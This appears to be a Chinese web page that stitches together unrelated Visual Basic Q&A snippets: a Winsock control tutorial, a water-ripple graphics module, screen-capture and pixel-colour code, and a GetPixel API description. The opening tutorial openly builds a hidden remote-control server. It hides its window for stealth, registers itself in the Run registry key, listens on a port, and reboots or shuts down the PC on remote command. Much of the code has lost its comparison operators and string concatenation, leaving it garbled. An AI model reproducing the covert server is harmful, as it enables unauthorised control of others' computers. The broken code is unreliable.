VB中Winsock控件怎么用~~

下面是Winsock控件的相关属性，方法和事件。(略去一些暂用不到的)

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*属性

-------------------------------------------------------------------------

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0端口65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态(文后有详细说明)

Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服务器程序，等待客户访问。

格式：Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式：Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式：Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格式：Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式：Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式：Winsock对象.close

*事件

----------------------------------------------------------------------------

Close | 远程机器关闭连接时触发

Connect | 连接建立好，可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

-----------------------------------------------------------------------------

程序代码如下：

--》服务器端程序(server.exe)

先在窗体中放置Winsock控件(他在运行时是看不见的)，属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入，这就更方便了，不过由于实现过程较复杂，就不在这里说了.

Private Sub Form_Load()

On Error GoTo skip 注释：如此端口已有通信程序则退出

Winsock1.LocalPort = 1334 注释：端口值应大于1024，如还有冲突可改为其他值

Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口冲突，退出！", vbOKOnly, "注意！"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Listen 注释：关闭连接后继续监听

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Accept requestID 注释：请求到达时，接受连接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 注释：读取到达的数据

Select Case strget

Case "a" 注释：判断到达的数据是否‘a’，是则重启，你也可自己定义(协议就是这样产生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释：不同机器设置不一样

Call Shell(ccom, vbHide) 注释：由函数curr_win()来判断

Case "b" 注释：如为‘b’则关闭计算机

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 注释：函数shell来执行命令

Case Else 注释：可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 注释：此函数通过读取环境变量来获得Windows目录

enstr = Environ(i)

Do While enstr ""

If Len(enstr) 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意！" 注释：如程序出现错误，则简单的退出

End

End Sub

求一个能实现屏幕水波纹效果的vb代码

'补模块3文件。一个放不下。

'

' 渲染子程序，将新的帧数据渲染到 lpDIBitsRender 中

' 算法：

' posx = Wave1(x-1,y)-Wave1(x+1,y)+x

' posy = Wave1(x,y-1)-Wave1(x,y+1)+y

' SourceBmp(x,y) = DestBmp(posx,posy)

'

Public Sub WaveRender(lpWaveObject As WAVE_OBJECT)

Dim dwPosX As Long, dwPosY As Long, dwPtrSource As Long, dwPtrDest As Long, dwFlag As Long

Dim lpWave1 As Long, LineIdx As Long, LinePtr As Long

Dim lpDIBitsSource As Long, lpDIBitsRender As Long

Dim I As Long, J As Long

dwFlag = 0

With lpWaveObject

'Debug.Print "WaveRender " .dwFlag

If (.dwFlag And F_WO_ACTIVE) = 0 Then Exit Sub

.dwFlag = .dwFlag Or F_WO_NEED_UPDATE

lpWave1 = .lpWave1

LineIdx = .dwWaveByteWidth '像素指针

For I = 1 To .dwBmpHeight - 2

For J = 0 To .dwBmpWidth - 1

'********************************************************************

' PosY=i+像素上1能量-像素下1能量

' PosX=j+像素左1能量-像素右1能量

'********************************************************************

'LineIdx = LineIdx - .dwWaveByteWidth

LinePtr = lpWave1 + LineIdx - .dwWaveByteWidth

pLongPtr(0) = LinePtr

dwPosY = pLong(0)

LinePtr = lpWave1 + LineIdx + .dwWaveByteWidth

pLongPtr(0) = LinePtr

dwPosY = dwPosY - pLong(0) + I

LinePtr = lpWave1 + LineIdx - 4

pLongPtr(0) = LinePtr

dwPosX = pLong(0)

LinePtr = lpWave1 + LineIdx + 4

pLongPtr(0) = LinePtr

dwPosX = dwPosX - pLong(0) + J

If dwPosX 0 Or dwPosY 0 Then GoTo Continue

If dwPosX = .dwBmpWidth Or dwPosY = .dwBmpHeight Then GoTo Continue

'********************************************************************

' ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3

' ptrDest = i * dwDIByteWidth + j * 3

'********************************************************************

'dwPtrSource = dwPosY * .dwDIByteWidth + (dwPosX + dwPosX * 2)

dwPosX = dwPosX + dwPosX * 2 'dwPosX * 3

dwPtrSource = dwPosY * .dwDIByteWidth + dwPosX

dwPtrDest = I * .dwDIByteWidth + (J + J * 2) 'dwPtrDest = I * .dwDIByteWidth + J * 3

'********************************************************************

' 渲染像素 [ptrDest] = 原始像素 [ptrSource]

'********************************************************************

lpDIBitsSource = .lpDIBitsSource + dwPtrSource

lpDIBitsRender = .lpDIBitsRender + dwPtrDest

If dwPtrSource dwPtrDest Then

dwFlag = dwFlag Or 1 '如果存在源像素和目标像素不同，则表示还在活动状态

' Debug.Print dwPtrSource " SR " dwPtrDest

'CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3

Call WaveGetPixel(lpDIBitsSource, lpDIBitsRender, .dwDIByteWidth)

Else

CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3

End If

'********************************************************************

' 继续循环

'********************************************************************

Continue:

LineIdx = LineIdx + 4 '像素++ '指针4个字节

Next 'J

Next 'I

SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

If dwFlag = 0 Then .dwFlag = .dwFlag And (Not F_WO_ACTIVE)

'Debug.Print "WaveRender " .dwFlag

End With

End Sub

Public Sub WaveUpdateFrame(lpWaveObject As WAVE_OBJECT, ByVal hdc As Long, bIfForce As Boolean)

'Dim ret As Long

With lpWaveObject

If bIfForce = True Then GoTo labUpdate

If (.dwFlag And F_WO_NEED_UPDATE) Then

'ret = SetDIBitsToDevice(.hDcRender, 0, 0, .dwBmpWidth, .dwBmpHeight, 0, 0, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)

'ret = SetDIBits(.hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)

'SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

labUpdate:

BitBlt hdc, 0, 0, .dwBmpWidth, .dwBmpHeight, .hDcRender, 0, 0, SRCCOPY

.dwFlag = .dwFlag And (Not F_WO_NEED_UPDATE)

End If

End With

End Sub

'

' 扔一块石头

'

Public Sub WaveDropStone(lpWaveObject As WAVE_OBJECT, ByVal dwPosX As Long, ByVal dwPosY As Long, ByVal dwStoneSize As Long, ByVal dwStoneWeight As Long)

Dim dwSize As Long

Dim dwX1 As Long, dwX2 As Long

Dim dwY1 As Long, dwY2 As Long, dwY3 As Long

'Dim dwMaxX As Long, dwMaxY As Long

Dim LinePtr As Long

With lpWaveObject

'Debug.Print "WaveDropStone " .dwFlag

'********************************************************************

' 计算范围

'********************************************************************

dwSize = dwStoneSize \ H2 '2 ^ 1

dwX1 = dwPosX + dwSize

dwX2 = dwPosX - dwSize

If (.dwFlag And F_WO_ELLIPSE) Then dwSize = dwSize \ H2 ' 2 ^ 1

dwY1 = dwPosY + dwSize

dwY2 = dwPosY - dwSize

dwSize = dwStoneSize

If dwSize = 0 Then dwSize = dwSize + 1

'********************************************************************

' 判断范围的合法性

'********************************************************************

If dwX1 + 1 = .dwBmpWidth Or dwX2 1 Or dwY1 + 1 = .dwBmpHeight Or dwY2 1 Then Exit Sub

'********************************************************************

' 将范围内的点的能量置为 dwStoneWeight

'********************************************************************

While dwX2 = dwX1

dwY3 = dwY2

While dwY3 = dwY1

'(x-x0)^2+(y-y0)^2=r^2 就在圆内

If (dwX2 - dwPosX) * (dwX2 - dwPosX) + (dwY3 - dwPosY) * (dwY3 - dwPosY) = dwSize * dwSize Then

LinePtr = .lpWave1 + (dwY3 * .dwBmpWidth + dwX2) * H4 '2 ^ 2

pLongPtr(0) = LinePtr

pLong(0) = dwStoneWeight

End If

dwY3 = dwY3 + 1

Wend

dwX2 = dwX2 + 1

Wend

.dwFlag = .dwFlag Or F_WO_ACTIVE

End With

End Sub

'

' 计算扩散数据、渲染位图、更新窗口、处理特效的定时器过程

'

Public Sub WaveTimerProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal idEvent As Long, ByVal dwTime As Long)

Dim hdc As Long

Dim dwPosX As Long, dwPosY As Long, dwSize As Long, dwWeight As Long

Dim lpWaveObj As Long

'建立模拟指针

Dim pWAVE_OBJECT() As WAVE_OBJECT

Dim pWAVE_OBJECTPtr() As Long

Dim SApWAVE_OBJECT As SAFEARRAY1D

Dim SApWAVE_OBJECTPtr As SAFEARRAY1D

With SApWAVE_OBJECT

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

With SApWAVE_OBJECTPtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApWAVE_OBJECT.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), VarPtr(SApWAVE_OBJECT), 4

CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), VarPtr(SApWAVE_OBJECTPtr), 4

lpWaveObj = idEvent

pWAVE_OBJECTPtr(0) = lpWaveObj

'Debug.Print "WaveTimerProc " pWAVE_OBJECT(0).dwFlag

Call WaveSpread(pWAVE_OBJECT(0))

Call WaveRender(pWAVE_OBJECT(0))

With pWAVE_OBJECT(0)

If (.dwFlag And F_WO_NEED_UPDATE) Then

hdc = GetDC(.hWnd)

Call WaveUpdateFrame(pWAVE_OBJECT(0), hdc, False)

Call ReleaseDC(.hWnd, hdc)

End If

'********************************************************************

' 特效处理

'********************************************************************

If (.dwFlag And F_WO_EFFECT) = 0 Then Exit Sub

Select Case .dwEffectType

'********************************************************************

' Type = 1 雨点，Param1＝速度（0最快，越大越慢），Param2＝雨点大小，Param3＝能量

'********************************************************************

Case 1

'Dim ret As Long

If .dwEffectParam1 0 Then Call WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1) 'ret = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1)

'If ret = 0 Then

dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1

dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1

dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1

dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3) + 50

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)

'End If

'********************************************************************

' Type = 2 行船，Param1＝速度（0最快，越大越快），Param2＝大小，Param3＝能量

'********************************************************************

Case 2

.dwEff2Flip = .dwEff2Flip + 1

If (.dwEff2Flip And 1) 0 Then Exit Sub

dwPosX = .dwEff2X + .dwEff2XAdd

dwPosY = .dwEff2Y + .dwEff2YAdd

If dwPosX 1 Then

dwPosX = -(dwPosX - 1)

.dwEff2XAdd = -.dwEff2XAdd

End If

If dwPosY 1 Then

dwPosY = -(dwPosY - 1)

.dwEff2YAdd = -.dwEff2YAdd

End If

If dwPosX .dwBmpWidth - 1 Then

dwPosX = (.dwBmpWidth - 1) - (dwPosX - (.dwBmpWidth - 1)) '(.dwBmpWidth - 1)*2 -dwPosX

.dwEff2XAdd = -.dwEff2XAdd

End If

If dwPosY .dwBmpHeight - 1 Then

dwPosY = (.dwBmpHeight - 1) - (dwPosY - (.dwBmpHeight - 1)) '(.dwBmpHeight-1)*2-dwPosY

.dwEff2YAdd = -.dwEff2YAdd

End If

.dwEff2X = dwPosX

.dwEff2Y = dwPosY

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, .dwEffectParam2, .dwEffectParam3)

'********************************************************************

' Type = 3 波浪，Param1＝密度，Param2＝大小，Param3＝能量

'********************************************************************

Case 3

Dim I As Long

For I = 0 To .dwEffectParam1

dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1

dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1

dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1

dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3)

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)

Next

End Select

End With

'取消模拟指针

CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), 0, 4

CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), 0, 4

End Sub

'

'释放对象

'

Public Sub WaveFree(lpWaveObject As WAVE_OBJECT)

With lpWaveObject

If .hDcRender 0 Then DeleteDC (.hDcRender)

If .hBmpRender 0 Then DeleteObject .hBmpRender

If .lpDIBitsSource 0 Then GlobalFree .lpDIBitsSource

If .lpDIBitsRender 0 Then GlobalFree .lpDIBitsRender

If .lpWave1 0 Then GlobalFree .lpWave1

If .lpWave2 0 Then GlobalFree .lpWave2

KillTimer .hWnd, VarPtr(lpWaveObject)

ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)

'-----------------------------------------------------------

'取消模拟指针

CopyMemory ByVal VarPtrArray(pLong), 0, 4

CopyMemory ByVal VarPtrArray(pLongPtr), 0, 4

'-----------------------------------------------------------------

'取消模拟指针

CopyMemory ByVal VarPtrArray(pByte), 0, 4

CopyMemory ByVal VarPtrArray(pBytePtr), 0, 4

'-----------------------------------------------------------

End With

End Sub

'

' 初始化对象

' 参数：_lpWaveObject ＝ 指向 WAVE_OBJECT结构体

' 返回：0 成功、 1 失败

'

Public Function WaveInit(lpWaveObject As WAVE_OBJECT, ByVal hWnd As Long, ByVal hBmp As Long, ByVal dwSpeed As Long, ByVal dwType As WaveType) As Long

Dim stBmp As BITMAP

Dim dwReturn As Long

Dim ret As Long

Dim hdc As Long

Dim hMDC As Long

'-----------------------------------------------------------------

'建立模拟指针

With SApLong

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

With SApLongPtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApLong.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pLong), VarPtr(SApLong), 4

CopyMemory ByVal VarPtrArray(pLongPtr), VarPtr(SApLongPtr), 4

'-----------------------------------------------------------------

'建立模拟指针

With SApByte

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 3

End With

With SApBytePtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApByte.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pByte), VarPtr(SApByte), 4

CopyMemory ByVal VarPtrArray(pBytePtr), VarPtr(SApBytePtr), 4

'-----------------------------------------------------------------

dwReturn = 0

ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)

'ZeroMemory lpWaveObject, H84 ' Len(WAVE_OBJECT)

With lpWaveObject

If dwType = sEllipse Then

.dwFlag = .dwFlag Or F_WO_ELLIPSE

End If

'********************************************************************

' 获取位图尺寸

'********************************************************************

.hWnd = hWnd

.dwRandom = GetTickCount()

ret = GetObject(hBmp, Len(stBmp), stBmp)

If ret = 0 Then

dwReturn = 1

GoTo result

End If

.dwBmpHeight = stBmp.bmHeight

'if lpWaveObject.dwBmpHeight 3 then dwReturn = 1:GoTo result

.dwBmpWidth = stBmp.bmWidth

'if lpWaveObject.dwBmpWidth 3 then dwReturn = 1:GoTo result

.dwWaveByteWidth = stBmp.bmWidth * H4 '2 ^ 2 'dwBmpWidth * 4

.dwDIByteWidth = (stBmp.bmWidth + stBmp.bmWidth * 2 + 3) And (Not H3) '(dwBmpWidth * 3 + 3) and ~3 ' ((W * 3 + 3) And (Not 3))

'********************************************************************

' 创建用于渲染的位图

'********************************************************************

hdc = GetDC(hWnd)

.hDcRender = CreateCompatibleDC(hdc)

.hBmpRender = CreateCompatibleBitmap(hdc, .dwBmpWidth, .dwBmpHeight)

'MsgBox .hBmpRender

SelectObject .hDcRender, .hBmpRender

'********************************************************************

' 分配波能缓冲区

'********************************************************************

.lpWave1 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)

.lpWave2 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)

'********************************************************************

' 分配像素缓冲区

'********************************************************************

.lpDIBitsSource = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)

.lpDIBitsRender = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)

'********************************************************************

' 获取原始像素数据

'********************************************************************

'With .stBmpInfo.bmiHeader

.stBmpInfo.bmiHeader.biSize = Len(.stBmpInfo.bmiHeader) ' H28 'len(BITMAPINFOHEADER)

.stBmpInfo.bmiHeader.biWidth = .dwBmpWidth

.stBmpInfo.bmiHeader.biHeight = -.dwBmpHeight '- .dwBmpHeight

.stBmpInfo.bmiHeader.biPlanes = 1

.stBmpInfo.bmiHeader.biBitCount = 24

.stBmpInfo.bmiHeader.biCompression = BI_RGB

.stBmpInfo.bmiHeader.biSizeImage = 0

'End With

hMDC = CreateCompatibleDC(hdc)

SelectObject hMDC, hBmp

ReleaseDC hWnd, hdc

GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsSource, .stBmpInfo, DIB_RGB_COLORS

GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

DeleteDC hMDC

If .lpWave1 = 0 Or .lpWave2 = 0 Or .lpDIBitsSource = 0 Or .lpDIBitsRender = 0 Or .hDcRender = 0 Then

WaveFree lpWaveObject

dwReturn = 1

End If

'Debug.Print "WaveInit " .dwFlag

SetTimer hWnd, ByVal VarPtr(lpWaveObject), dwSpeed, AddressOf WaveTimerProc

.dwFlag = .dwFlag Or F_WO_ACTIVE Or F_WO_NEED_UPDATE

'Debug.Print "WaveInit " .dwFlag

WaveRender lpWaveObject

hdc = GetDC(.hWnd)

WaveUpdateFrame lpWaveObject, hdc, True

ReleaseDC .hWnd, hdc

End With

'********************************************************************

result:

WaveInit = dwReturn

End Function

'

' 一些特效

' 输入：dwType = 0 关闭特效

' dwType 0 开启特效，参数具体见上面

'

Public Sub WaveEffect(lpWaveObject As WAVE_OBJECT, ByVal dwEffectType As WaveEffectType, ByVal dwParam1 As Long, ByVal dwParam2 As Long, ByVal dwParam3 As Long)

Dim dwMaxX As Long, dwMaxY As Long

With lpWaveObject

' Debug.Print "WaveEffect " .dwFlag

Select Case dwEffectType

Case wClose '关闭特效

.dwFlag = .dwFlag And (Not F_WO_EFFECT)

.dwEffectType = dwEffectType

Exit Sub

'Case wrain '下雨

Case wLaunch '汽艇

.dwEff2XAdd = dwParam1

.dwEff2YAdd = dwParam1

.dwEff2X = WaveRandom(lpWaveObject, .dwBmpWidth - 2) + 1

.dwEff2Y = WaveRandom(lpWaveObject, .dwBmpHeight - 2) + 1

' .dwEffectType = dwEffectType

' .dwEffectParam1 = dwParam1

' .dwEffectParam2 = dwParam2

' .dwEffectParam3 = dwParam3

' .dwFlag = .dwFlag Or F_WO_EFFECT

'Case wWaves '风浪

'Case Else '默认

End Select

.dwEffectType = dwEffectType

.dwEffectParam1 = dwParam1

.dwEffectParam2 = dwParam2

.dwEffectParam3 = dwParam3

.dwFlag = .dwFlag Or F_WO_EFFECT

End With

End Sub

完

VB.NET当鼠标停在屏幕任意地方，得到该点的颜色

我有个笨办法，先用API抓图到内存里，然后再在根据你点鼠标的屏幕工作区坐标，去那图里取色。

-----------------------

'抓图所需的API

Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Integer) As Integer

Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer) As Integer

Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Integer, ByVal hObject As Integer) As Integer

Private Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer

Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Integer) As Integer

Private Declare Function DeleteObject Lib "GDI32" (ByVal hObj As Integer) As Integer

Declare Function GetDC Lib "user32" Alias "GetDC" (ByVal hwnd As Integer) As Integer

Const SRCCOPY As Integer = HCC0020

'抓图的部分

Dim hDC, hMDC As Integer

Dim hBMP, hBMPOld As Integer

Dim sw, sh As Integer

hDC = GetDC(0)

hMDC = CreateCompatibleDC(hDC)

sw = Screen.PrimaryScreen.Bounds.Width

sh = Screen.PrimaryScreen.Bounds.Height

hBMP = CreateCompatibleBitmap(hDC, sw, sh)

hBMPOld = SelectObject(hMDC, hBMP)

BitBlt(hMDC, 0, 0, sw, sh, hDC, 0, 0, SRCCOPY)

hBMP = SelectObject(hMDC, hBMPOld)

Dim bmp As Bitmap = Image.FromHbitmap(New IntPtr(hBMP))

DeleteDC(hDC)

DeleteDC(hMDC)

DeleteObject(hBMP)

......

'取点的颜色

bmp.GetPixel(e.X, e.Y)

----------------------------

关键就是这些你自己组合吧，你分给的太少了，很麻烦，恕我不帮你改全了。如果要仔细帮你改，请另开高分贴，不要用新马甲来

如何自制IE浏览器

用VB.net或者C#可以很快制作一个简单的以IE为核心的浏览器，只需要在窗体里放一个WebBrowser组件，就可以了。要想从零开始制作一个浏览器是很困难的事情。你需要了解各种网络协议HTTP等，还要明确Web标准，渲染文字和图形。。。。等等等等。。。。。

VB高手请进 关于VB截图的图片文件大小问题

1,建立工程，在form1 上放一个picture框

2,把下面的代码放到代码区

3,f5测试，会在工程目录下生成一个jpg.里面的压缩参数和保存位置你自己可调整

---------------------灰常nb的分割线--------------------

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, ByVal outputbuf As Long) As Long

Private Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long

Private Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" (ByVal hbm As Long, ByVal hpal As Long, Bitmap As Long) As Long

Private Declare Function GdipDisposeImage Lib "GDIPlus" (ByVal Image As Long) As Long

Private Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal filename As Long, clsidEncoder As GUID, encoderParams As Any) As Long

Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long

Private Declare Function GdipCreateBitmapFromFile Lib "GDIPlus" (ByVal filename As Long, Bitmap As Long) As Long

Private Type GUID

Data1 As Long

Data2 As Integer

Data3 As Integer

Data4(0 To 7) As Byte

End Type

Private Type GdiplusStartupInput

GdiplusVersion As Long

DebugEventCallback As Long

SuppressBackgroundThread As Long

SuppressExternalCodecs As Long

End Type

Private Type EncoderParameter

GUID As GUID

NumberOfValues As Long

type As Long

Value As Long

End Type

Private Type EncoderParameters

Count As Long

Parameter As EncoderParameter

End Type

Private Sub Form_Load()

Dim rFN As String

Dim ret As Boolean

rFN = getFN

Me.Hide

Me.AutoRedraw = True

Picture1.Width = Screen.Width + 30

Picture1.Height = Screen.Height + 30

BitBlt Picture1.hDC, 0, 0, Screen.Width + 30, Screen.Height + 30, GetDC(0), 0, 0, vbSrcCopy

Set Picture1.Picture = Picture1.Image

ret = PictureBoxSaveJPG(Picture1.Picture, Replace(App.Path "\" rFN ".JPG", "\\", "\")) '保存压缩后的图片

End

End Sub

Function getFN() As String

Dim dD As String, tT As String

dD = Replace(CStr(Date), "-", ""): tT = Replace(CStr(Time), ":", "")

tT = Replace(tT, "下午", "pm"): tT = Replace(tT, "上午", "am")

getFN = Replace(dD tT, " ", "")

End Function

Private Function PictureBoxSaveJPG(ByVal pict As StdPicture, ByVal filename As String, Optional ByVal quality As Byte = 80) As Boolean

Dim tSI As GdiplusStartupInput

Dim lRes As Long

Dim lGDIP As Long

Dim lBitmap As Long

'初始化 GDI+

tSI.GdiplusVersion = 1

lRes = GdiplusStartup(lGDIP, tSI, 0)

If lRes = 0 Then

'从句柄创建 GDI+ 图像

lRes = GdipCreateBitmapFromHBITMAP(pict.Handle, 0, lBitmap)

If lRes = 0 Then

Dim tJpgEncoder As GUID

Dim tParams As EncoderParameters

'初始化解码器的GUID标识

CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder

'设置解码器参数

tParams.Count = 1

With tParams.Parameter ' Quality

'得到Quality参数的GUID标识

CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"), .GUID

.NumberOfValues = 1

.type = 4

.Value = VarPtr(quality)

End With

'保存图像

lRes = GdipSaveImageToFile(lBitmap, StrPtr(filename), tJpgEncoder, tParams)

'销毁GDI+图像

GdipDisposeImage lBitmap

End If

'销毁 GDI+

GdiplusShutdown lGDIP

End If

If lRes Then

PictureBoxSaveJPG = False

Else

PictureBoxSaveJPG = True

End If

End Function

C#.NET 关于GetPixel为什么总是返回-1

应该是返回类型不对，参考下面说明。

GetPixel函数功能：该函数检索指定坐标点的像素的RGB颜色值。

函数原型：；COLORREF GetPixel(HDC hdc, int nXPos, int nYPos) VB声明： Declare Function GetPixel Lib "gdi32" Alias "GetPixel" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long

hdc：设备环境句柄。

nXPos：指定要检查的像素点的逻辑X轴坐标。

nYPos：指定要检查的像素点的逻辑Y轴坐标。

返回值：返回值是该象像点的RGB值。如果指定的像素点在当前剪辑区之外；那么返回值是CLR_INVALID。

备注：该像素点必须在当前剪辑区的边界之内。并不是所有设备都支持GetPixel函数。应用程序应调用GetDeviceCaps函数来确定指定的设备是否支持该函数。

网页题目：getdcvb.net的简单介绍
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